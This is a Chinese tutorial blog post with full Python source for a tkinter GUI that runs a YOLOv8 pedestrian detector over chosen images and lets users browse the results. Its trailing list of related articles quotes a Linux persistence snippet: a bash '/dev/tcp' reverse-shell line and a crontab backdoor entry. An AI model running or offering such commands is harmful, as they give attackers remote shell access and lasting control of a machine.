Python tkinter: 开发一个目标检测GUI小程序

news2024/11/19 4:16:58

程序提供了一个用户友好的界面,允许用户选择图片或文件夹,使用行人检测模型进行处理,并在GUI中显示检测结果。用户可以通过点击画布上的检测结果来获取更多信息,并使用键盘快捷键来浏览不同的图片。

一. 基本功能介绍

  1. 界面布局:程序使用tkinter库创建一个窗口界面,包括标题栏、可调整大小的画布以及底部的操作按钮。

  2. 图片加载:用户可以通过点击“选择文件夹”或“选择图片”按钮来加载需要检测的图片。支持多种图片格式,如JPG、JPEG、PNG等。

  3. 目标检测:程序内置了一个检测器(例如YOLOv8),用于识别图片中的行人,并在图片上绘制矩形框和置信度标签。

  4. 进度显示:在处理多张图片时,程序会显示一个进度条,告知用户当前的检测进度。

  5. 结果展示:检测完成后,程序会在GUI中展示第一张图片的检测结果,并允许用户通过键盘操作(A键上一张,D键下一张)浏览所有图片。

  6. 交互反馈:用户点击画布上的检测框时,程序会弹出一个消息框显示选中目标的类别和置信度。

  7. 图片缩放:程序能够根据窗口大小调整图片的显示尺寸,确保图片在不同分辨率的屏幕上都能清晰显示。

  8. 日志记录:程序使用logging模块记录操作日志,便于问题追踪和调试。

  9. 多线程处理:为了不阻塞GUI操作,图片的检测处理在后台线程中进行。

  10. 配置灵活:程序允许用户通过参数配置检测器的行为,例如模型路径、图片尺寸、置信度阈值等。

二. 主要方法介绍

  1. __init__: 类的构造函数,用于初始化GUI窗口、设置窗口属性、创建组件和绑定事件。

  2. load_dir: 允许用户通过文件对话框选择一个文件夹,程序会加载该文件夹下的所有支持格式的图片。

  3. load_imgs: 使用文件对话框让用户选择一个或多个图片文件,并将这些文件的路径添加到图片列表中。

  4. show_progress_window: 显示进度条窗口,用于在处理图片时提供用户反馈。

  5. process_files: 在后台线程中处理所有选中的图片,对每张图片运行检测算法,并更新进度条。

  6. run_detect: 对单张图片运行检测器,返回检测结果。

  7. draw_result: 在原始图片上绘制检测结果,如边界框和置信度标签。

  8. draw_detections: 在GUI的画布上绘制检测结果,包括边界框和文本标签。

  9. remove_progress_bar: 在所有图片处理完毕后,移除进度条和相关组件。

  10. display_image: 在GUI中显示当前选中的图片及其检测结果。

  11. on_canvas_click: 绑定到画布的点击事件,用于检测用户点击的位置是否在检测框内,并显示选中目标的详细信息。

  12. win_change: 响应窗口大小变化事件,调整图片的显示大小以适应窗口。

  13. on_win_change: 处理窗口大小变化事件,调用win_change方法。

  14. on_key_press: 绑定到窗口的键盘按键事件,允许用户通过按键浏览图片。

  15. cv2pil: 将使用OpenCV加载的BGR格式图片转换为PIL图像,以便在Tkinter中显示。

三. 代码

import tkinter as tk
from tkinter import ttk
from tkinter import filedialog, messagebox
import cv2
import math
import json
import time
import os
import threading
from PIL import Image, ImageTk
import logging
logging.basicConfig(level=logging.INFO)

from person_detection import api


class MyGUI(tk.Tk):
    def __init__(self, det_kwargs):
        super().__init__()
        self.title('行人检测小程序')
        self.geometry('600x400')
        self.resizable(width=True, height=True)
        self.label = tk.Label(self)
        self.bind('<Configure>', self.on_win_change)
        self.bind('<Key>', self.on_key_press)

        # 创建检测器
        self.detector = api.YOLOv8(**det_kwargs) if det_kwargs else None
        self.classes = {0: 'person'}

        # 用于记录当前的图片数据
        self.raw_img_file_path = None
        self.visual_image = None
        self.photo_image = None

        # 创建按钮框架
        self.button_frame = tk.Frame(self)
        self.button_frame.pack(side=tk.BOTTOM, fill=tk.X, expand=False)
        # 创建按钮
        self.load_dir_button = tk.Button(self.button_frame, text="选择文件夹", command=self.load_dir)
        self.load_dir_button.pack(side=tk.LEFT, padx=10, pady=10, expand=False)
        self.load_imgs_button = tk.Button(self.button_frame, text="选择图片", command=self.load_imgs)
        self.load_imgs_button.pack(side=tk.LEFT, padx=10, pady=10, expand=False)
        # 创建用于显示图片的Canvas
        self.image_canvas = tk.Canvas(self, bg='white')
        self.image_canvas.pack(side=tk.TOP, fill=tk.BOTH, expand=True)
        self.image_id = self.image_canvas.create_image(
            0, 0, image=self.photo_image, anchor='nw'
        )
        # 创建进度条窗口和进度条
        self.bar_frame = None
        self.progress_window = None
        self.progress_bar = None
        self.processing_label = None

        # 为Canvas绑定鼠标点击事件
        self.image_canvas.bind("<Button-1>", self.on_canvas_click)
        # 为窗口绑定大小和位置变化事件的监听
        self.bind("<Configure>", self.on_win_change)

        # 记录每次加载的图片路径列表,检测结果,以及当前的图片索引
        self.img_list = []
        self.result_list = []
        self.index = 0

        # 初始化缩放比例属性
        self.scale_width = 1.0
        self.scale_height = 1.0

    def load_dir(self):
        """
        选择文件夹,从中加载图片
        """
        # 选择图片
        file_dir = filedialog.askdirectory(title='选择文件夹')
        logging.info("选择的文件夹: {}".format(file_dir))
        if file_dir != ():
            for i, file in enumerate(os.listdir(file_dir)):
                if file.endswith(('.jpg', '.jpeg', '.png', '.bmp', '.tiff', '.webp')):
                    img_path = os.path.join(file_dir, file)
                    self.img_list.append(img_path)
            # 显示进度条窗口
            self.show_progress_window(self.img_list)

    def load_imgs(self):
        """
        选择单个或多个文件以加载图片
        """
        file_paths = filedialog.askopenfilenames(
            title='选择图片文件', filetypes=[('图像文件', '*.jpg *.jpeg *.png *.bmp *.tiff *.webp'), ('所有文件', '*.*')])
        logging.info("选择的文件: {}".format(file_paths))
        if file_paths != ():
            for img_path in file_paths:
                self.img_list.append(img_path)
            # 显示进度条窗口
            self.show_progress_window(self.img_list)

    def show_progress_window(self, img_list):
        # 创建进度条框架
        self.bar_frame = tk.Frame(self)
        self.bar_frame.pack(side=tk.TOP, fill=tk.Y, pady=20, expand=False)
        # 创建正在处理的文本标签和进度条
        self.processing_label = tk.Label(self.bar_frame, text="正在处理...")
        self.processing_label.pack(side=tk.BOTTOM, fill=tk.Y, pady=0, expand=False)
        self.progress_bar = ttk.Progressbar(self.bar_frame, orient='horizontal', length=300, mode='determinate')
        self.progress_bar.pack(side=tk.BOTTOM, pady=0, expand=False)

        # 设置最大值为文件数量
        total_files = len(img_list)
        self.progress_bar['maximum'] = total_files

        # 更新初始进度
        self.progress_bar['value'] = 0

        # 在新线程中处理文件以避免阻塞GUI
        threading.Thread(target=self.process_files, args=(img_list,)).start()
        # 使用阻塞的方式处理文件
        # self.process_files(file_dir)

    def process_files(self, img_list):
        for i, img_path in enumerate(img_list):
            # 模拟处理文件的耗时操作
            logging.info("处理文件: {}".format(img_path))
            img = cv2.imread(img_path)
            self.result_list.append(self.run_detect(img))

            # 更新进度条
            self.progress_bar['value'] = i + 1  # 更新进度条

        # 处理完成后,显示消息框并移除进度条
        # self.after(100, self.remove_progress_bar)  # 稍后执行
        self.remove_progress_bar()  # 立即执行

        # 显示图片到Canvas
        self.display_image()

        # 调整图片至窗口大小
        self.win_change()

    def run_detect(self, img):
        return self.detector.detect([img])

    def draw_result(self, img, result):
        img = img.copy()
        dets = result['data'][0]['dets']
        for det in dets:
            id, score, bbox = det['id'], det['score'], det['bbox']
            x1, y1, x2, y2 = map(int, bbox)
            cv2.rectangle(img, (x1, y1), (x2, y2), (0, 255, 0), 2)
            cv2.putText(img, '%.2f' % score, (x1, y1 - 4),
                        cv2.FONT_HERSHEY_SIMPLEX, 0.4, (0, 0, 255), thickness=1, lineType=cv2.LINE_AA)
        return img

    def draw_detections(self, result):
        dets = result['data'][0]['dets']
        for det in dets:
            id, score, bbox = det['id'], det['score'], det['bbox']
            x1, y1, x2, y2 = map(int, bbox)
            x1 = int(x1 / self.scale_width)
            y1 = int(y1 / self.scale_height)
            x2 = int(x2 / self.scale_width)
            y2 = int(y2 / self.scale_height)
            self.image_canvas.create_rectangle(x1, y1, x2, y2, outline='red', width=2)
            self.image_canvas.create_text(x1, y1 - 10, text=f'{score:.2f}', fill='red', font=('Arial', 8))

    def remove_progress_bar(self):
        """
        移除进度条,进行一些销毁与重置的操作
        """
        # 显示消息框
        messagebox.showinfo("完成", "文件处理完成!")
        # 从主窗体中移除进度条
        if self.progress_bar is not None:
            self.progress_bar.pack_forget()  # 隐藏进度条
            self.progress_bar.destroy()  # 销毁进度条对象

        # 从主窗体中移除进度条标签
        if hasattr(self, 'processing_label') and self.processing_label is not None:
            self.processing_label.pack_forget()  # 隐藏进度条
            self.processing_label.destroy()  # 销毁进度条对象

        # 从主窗体中移除进度条框架
        if self.bar_frame is not None:
            self.bar_frame.destroy()  # 销毁进度条框架

    def display_image(self):
        if len(self.img_list) == 0:
            return
        image = cv2.imread(self.img_list[self.index])
        image = self.draw_result(image, self.result_list[self.index])
        # 将OpenCV图像转换为PIL图像,然后转换为PhotoImage
        pil_image = self.cv2pil(image)
        self.photo_image = ImageTk.PhotoImage(pil_image)

        # 显示图片
        self.image_canvas.delete("all")  # 删除旧的图片
        self.image_id = self.image_canvas.create_image(
            0, 0, image=self.photo_image, anchor='nw'
        )
        self.image_canvas.image = self.photo_image  # 保持对图像的引用

    def on_canvas_click(self, event):
        # 使用缩放比例将画布坐标转换为图像坐标
        canvas_x = event.x
        canvas_y = event.y
        img_x = int(canvas_x / self.scale_width)
        img_y = int(canvas_y / self.scale_height)

        # 初始化最近目标的距离和索引
        min_distance = float('inf')  # 正无穷大,用于比较
        closest_index = -1
        closest_id = None
        closest_score = None

        # 检查点击坐标是否在检测结果的边界框内
        if len(self.result_list) > 0:
            dets = self.result_list[self.index]['data'][0]['dets']
            for i, det in enumerate(dets):
                id, score, bbox = det['id'], det['score'], det['bbox']
                x1, y1, x2, y2 = map(int, bbox)  # 边界框的坐标

                # 计算边界框的中心点坐标
                center_x = (x1 + x2) / 2
                center_y = (y1 + y2) / 2

                if x1 <= img_x <= x2 and y1 <= img_y <= y2:
                    # 计算点击位置到边界框中心的欧氏距离
                    distance = math.sqrt((img_x - center_x) ** 2 + (img_y - center_y) ** 2)

                    # 更新最近目标的距离和索引
                    if distance < min_distance:
                        min_distance = distance
                        closest_index = i
                        closest_id = id
                        closest_score = score

            # 如果找到最近的目标,则显示信息
            if closest_index != -1:
                messagebox.showinfo("检测到的目标", f"标签: {self.classes[closest_id]}\n置信度: {closest_score:.2f}")
            # else:
            #     messagebox.showinfo("点击区域", "未检测到目标")

    def win_change(self):
        if len(self.result_list) > 0:  # 确保图像不为空
            image = cv2.imread(self.img_list[self.index])
            visual_image = self.draw_result(image, self.result_list[self.index])
            # 保存原始图像尺寸和画布尺寸
            self.orig_width = visual_image.shape[1]
            self.orig_height = visual_image.shape[0]
            canvas_width = self.image_canvas.winfo_width()
            canvas_height = self.image_canvas.winfo_height()

            # 计算缩放比例
            self.scale_width = canvas_width / self.orig_width
            self.scale_height = canvas_height / self.orig_height

            # 根据缩放比例调整图像大小
            new_width = int(self.orig_width * self.scale_width)
            new_height = int(self.orig_height * self.scale_height)
            resized_image = cv2.resize(visual_image, (new_width, new_height))

            # 显示调整大小后的图像
            pil_image = self.cv2pil(resized_image)
            self.photo_image = ImageTk.PhotoImage(pil_image)
            self.image_canvas.itemconfig(self.image_id, image=self.photo_image)

    def on_win_change(self, event):
        """
        监控窗口大小和位置的变化
        :param event:
        :return:
        """
        self.win_change()

    def on_key_press(self, event):
        """
        监控键盘按键的按下事件,根据按键进行index增减,以进行图片浏览切换
        设定规则:
            A:上一张
            D:下一张
        """
        if len(self.result_list) == 0:
            return
        if event.keysym in ['A', 'a']:
            if self.index == 0:
                messagebox.showinfo("提示", "已经是第一张图片了")
            self.index = max(0, self.index - 1)
        elif event.keysym in ['D', 'd']:
            if self.index == len(self.img_list) - 1:
                messagebox.showinfo("提示", "已经是最后一张图片了")
            self.index = min(len(self.img_list)-1, self.index + 1)
        else:
            messagebox.showinfo("提示", "请按 A 或 D 键进行图片上翻/下翻")
        self.display_image()
        self.win_change()

    def cv2pil(self, cv2_img):
        # 转换图片至RGB颜色空间
        image = cv2.cvtColor(cv2_img, cv2.COLOR_BGR2RGB)

        # 转换图片至PIL格式
        return Image.fromarray(image)

    def get_filename(self, file_path):
        return os.path.splitext(os.path.split(file_path)[-1])[0]


if __name__ == '__main__':
    det_kwargs = dict(
        model_path='/home/leon/Nextcloud/ChengDu_Research/computer_vision/algorithms/human/person_detection/1.0.1/person_detection_1.0.1.onnx',
        img_size=(640, 384),
        mode=api.ie.MODE_ORT,
        conf_thresh=0.5,
        providers=['CUDAExecutionProvider'],  # if no GPU, use 'CPUExecutionProvider'
        # half=True,
    )
    app = MyGUI(det_kwargs)
    app.mainloop()

请注意:在代码中,我用到了一个目标检测器,你需要替换为你自己的检测器,从而实现不同目标的检测!

代码中和检测相关方法/变量如下:

方法:

  1. run_detect(self, img): 使用检测器对提供的图像进行检测。
  2. draw_result(self, img, result): 在图像上绘制检测结果,如边界框和分数。
  3. process_files(self, img_list): 处理一个图片列表,对每张图片执行检测。
  4. display_image(self): 在GUI上显示当前选中的图片和其检测结果。
  5. draw_detections(self, result): 在Canvas上绘制检测结果。
  6. show_progress_window(self, img_list): 显示进度条窗口,准备开始处理图片列表。
  7. remove_progress_bar(self): 完成图片处理后,移除进度条。

变量:

  1. self.detector: 用于存储检测器实例,例如api.YOLOv8
  2. self.classes: 一个字典,用于将检测到的类别ID映射到类别名称。
  3. self.img_list: 存储加载的图片路径列表。
  4. self.result_list: 存储每张图片的检测结果。
  5. self.index: 当前显示图片的索引。
  6. self.raw_img_file_path: 记录当前处理的原始图片文件路径。
  7. self.visual_image: 用于存储绘制了检测结果的图像。
  8. self.photo_image: 用于存储Tkinter能够显示的图像对象。
  9. self.image_id: 存储Canvas上图像的ID,用于更新显示的图像。
  10. self.scale_width 和 self.scale_height: 存储图像的缩放比例。

对于我的检测器,这里贴出来一个输出示例:

{
  "code": "0",
  "message": "",
  "data": [
    {
      "dets": [
        {
          "id": 0,
          "score": 0.7589585781097412,
          "bbox": [
            873.7188720703125,
            236.35150146484375,
            910.048095703125,
            335.6061706542969
          ]
        },
        {
          "id": 0,
          "score": 0.716355562210083,
          "bbox": [
            447.7972717285156,
            278.9081726074219,
            521.7301025390625,
            421.3373718261719
          ]
        }
      ]
    }
  ]
}

参考:

tkinter — Python interface to Tcl/Tk — Python 3.12.4 documentation

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1882240.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

大厂10余年经验总结,用户研究领域入门标准书籍来了!

《用户研究方法&#xff1a;卓越产品和服务的用户研究技巧》一书近期出版&#xff0c;本书是用户研究领域入门标准书籍&#xff0c;是一本带你进入用户研究世界&#xff0c;通过研究用户让您工作更出色的书籍。 内容及特色 本书共 10 章&#xff0c;分为三篇。 第一篇&#xf…

Web攻防基础篇-文件上传漏洞

文件解析安全问题上&#xff0c;格式解析是一对一的&#xff08;不能jpg解析php&#xff09;&#xff0c;换句话来说有解析错误配置或后缀解析漏洞时才能实现格式差异解析。 文件上传漏洞 程序或系统未对上传文件作全面的限制&#xff0c;导致用户可以上传某些非法文件&#…

景区气象站:旅游安全与舒适体验的守护者

在旅游行业蓬勃发展的今天&#xff0c;越来越多的游客选择走出家门&#xff0c;探索世界的每一个角落。然而&#xff0c;旅游不仅仅是欣赏美景、体验文化&#xff0c;更是对未知的探索和对安全的追求。在这一过程中&#xff0c;景区气象站作为旅游安全与舒适体验的守护者&#…

秋招突击——6/30——{爬楼梯、杨辉三角、打家劫舍、完全平方数}

文章目录 引言新作爬楼梯个人实现参考实现 杨辉三角个人实现参考实现 打家劫舍个人实现参考实现 完全平方数个人实现参考实现 总结 引言 回家以来&#xff0c;和朋友的聚会暂时告一段落了&#xff0c;后面就准备闭关&#xff0c;继续准备秋招了&#xff0c;不能在浪费时间了。…

windosw下宝塔面板mysql无法使用的问题

先了解一下什么是wsl1和wsl2 WSL 1:WSL 1 使用的是一个兼容层,通过翻译 Linux 系统调用,使其能够在 Windows 内核上运行。这种方法的性能较好,但并不能完全兼容所有的 Linux 功能。WSL 2:WSL 2 通过使用真正的 Linux 内核在轻量级虚拟机 (VM) 中运行 Linux,这使得它能更好…

玛格家居从深交所转板北交所:营收净利润连年下滑,销售费用大增

《港湾商业观察》施子夫 近日&#xff0c;玛格家居股份有限公司&#xff08;以下简称&#xff0c;玛格家居&#xff09;发布公告&#xff0c;重庆证监局已经受理其北交所上市的备案申请&#xff0c;辅导机构为国泰君安证券。 公开信息显示&#xff0c;2022年1月&#xff0c;玛…

3.js - premultiplyAlpha

你瞅啥啊&#xff01;&#xff01;&#xff01; 先看效果图吧 代码 // ts-nocheck // 引入three.js import * as THREE from three // 导入轨道控制器 import { OrbitControls } from three/examples/jsm/controls/OrbitControls // 导入lil.gui import { GUI } from three/ex…

qt打包生成的.exe 桌面快捷键图标模糊/有锯齿

图标使用的是ico文件,如果你的ico里面只有一个尺寸的.png图片,那么qt打包好的exe快捷键图标就会模糊/有锯齿 1.IcoFX图标编辑v3.8.0 便携版 下载地址: http://www.xz7.com/downinfo/547373.html 这个支持中文 2.准备一个256x256的png图标 3.操作流程 然后另存为ico格式即可

stm32学习笔记---DMA直接存储器存取(代码部分)DMA数据转运/DMA+AD多通道

目录 第一个代码&#xff1a;DMA数据转运 扩展知识 DMA的配置步骤 DMA的库函数 DMA_DeInit DMA初始化和DMA结构体初始化函数 DMA_Cmd DMA_ITConfig DMA_SetCurrDataCounter DMA_GetCurrDataCounter 四个获取标志位状态函数 代码实现 MyDMA.c 第一步&#xff0c;开…

权限维持-Linux-定时任务-Crontab后门

目录 靶机编辑后门反弹 靶机添加定时任务 攻击机监听 靶机编辑后门反弹 vim /etc/.xiaodi.sh --创建文件bash -i >& /dev/tcp/IP/998 0>&1 --反弹代码chmod x /etc/.xiaodi.sh --给执行权限 靶机添加定时任务 vim /etc/crontab */1 * * * * r…

10亿数据如何最快速插入MySQL?

最快的速度把10亿条数据导入到数据库&#xff0c;首先需要明确一下&#xff0c;10亿条数据什么形式存在哪里&#xff0c;每条数据多大&#xff0c;是否有序导入&#xff0c;是否不能重复&#xff0c;数据库是否是MySQL&#xff1f; 假设和面试官明确后&#xff0c;有如下约束 …

40、 防火墙--博客

40、防火墙 一、防火墙 1.1、备份防火墙规则 1、iptables的配置文件 /etc/sysconfig/iptables2、创建临时规则&#xff0c;save到备份文件&#xff0c;再清空规则&#xff0c;用cat备份文件到配置文件。利用重定向写入。 备份文件iptables-save >/opt/iptables.bak 备…

idk17配置

只需要把zip包解压&#xff0c;然后配置环境变量&#xff1a; bin目录路径粘到path里面就好了 然后打开cmd窗口分别输入 java javac java -version 验证

无人机的起源

无人机起源于20世纪初的早期实验阶段&#xff0c;并随着技术进步逐步发展。无人机&#xff0c;作为现代科技领域中的一项重要创新&#xff0c;已经在全球范围内展现出其巨大的潜力和应用价值。 无人机的历史可以追溯到1917年&#xff0c;美国人艾德温.奥斯特林发明了“飞行训练…

免费分享:中国十年度及361个城市平均NDVI值统计数据集(附下载方法)

中分辨率成像光谱仪(MODerate-resolution Imaging Spectroradiometer)-MODIS是Terra和Aqua卫星上搭载的主要传感器之一&#xff0c;MODIS 数据有 36 个光谱波段&#xff0c;1-2 天可覆盖地球表面一次&#xff0c;数据从2000年4月开始向全球免费分发数据。 GIMMS&#xff08;gl…

什么是代理IP节点?它又是如何工作的?

代理IP节点是指在网络通信中充当中间角色的设备或服务器&#xff0c;它扮演着信息中转站的角色&#xff0c;用于转发网络请求和响应。代理IP节点的设置可以实现多种功能&#xff0c;包括但不限于访问控制、加密通信、提高安全性、负载均衡等。今天IPIDEA代理IP就带大家详细了解…

使用StarWind软件做P2V转换

近期有个项目要将一个老的Win7还有XP 32位版本转换为虚拟机。先后用了StarWind&#xff0c;Vmwared的vcenter conerter&#xff0c;还有disk2vhd软件工具。本文介绍下StarWind的使用和一些优势。 其实转换过程很简单&#xff0c;难度是转换以后的虚机无法正常启动。对于虚机的…

万界星空科技服装行业MES系统解决方案

据调查&#xff0c;我国大多数服装厂目前存在两大问题&#xff1a; 第一&#xff0c;是生产设备先进&#xff0c;但管理模式落后&#xff0c;仍采用手工管理模式&#xff0c;未实现信息化&#xff1b; 第二&#xff0c;仍有大量的人工站&#xff0c;短时间内难以用设备代替&a…

web平台—apache

web平台—apache 1. 学apache前需要知道的知识点2. apache详解2.1 概述2.2 工作模式2.3 启动apache网站整体流程2.4 相关文件保存位置2.5 配置文件详解 3. apache配置实验实验1&#xff1a;设置apache的目录别名实验2&#xff1a;apache的用户认证实验3&#xff1a;虚拟主机 (重…

网络安全等级保护2.0(等保2.0)全面解析

一、等保2.0的定义和背景 网络安全等级保护2.0&#xff08;简称“等保2.0”&#xff09;是我国网络安全领域的基本制度、基本策略、基本方法。它是在《中华人民共和国网络安全法》指导下&#xff0c;对我国网络安全等级保护制度进行的重大升级。等保2.0的发布与实施&#xff0c…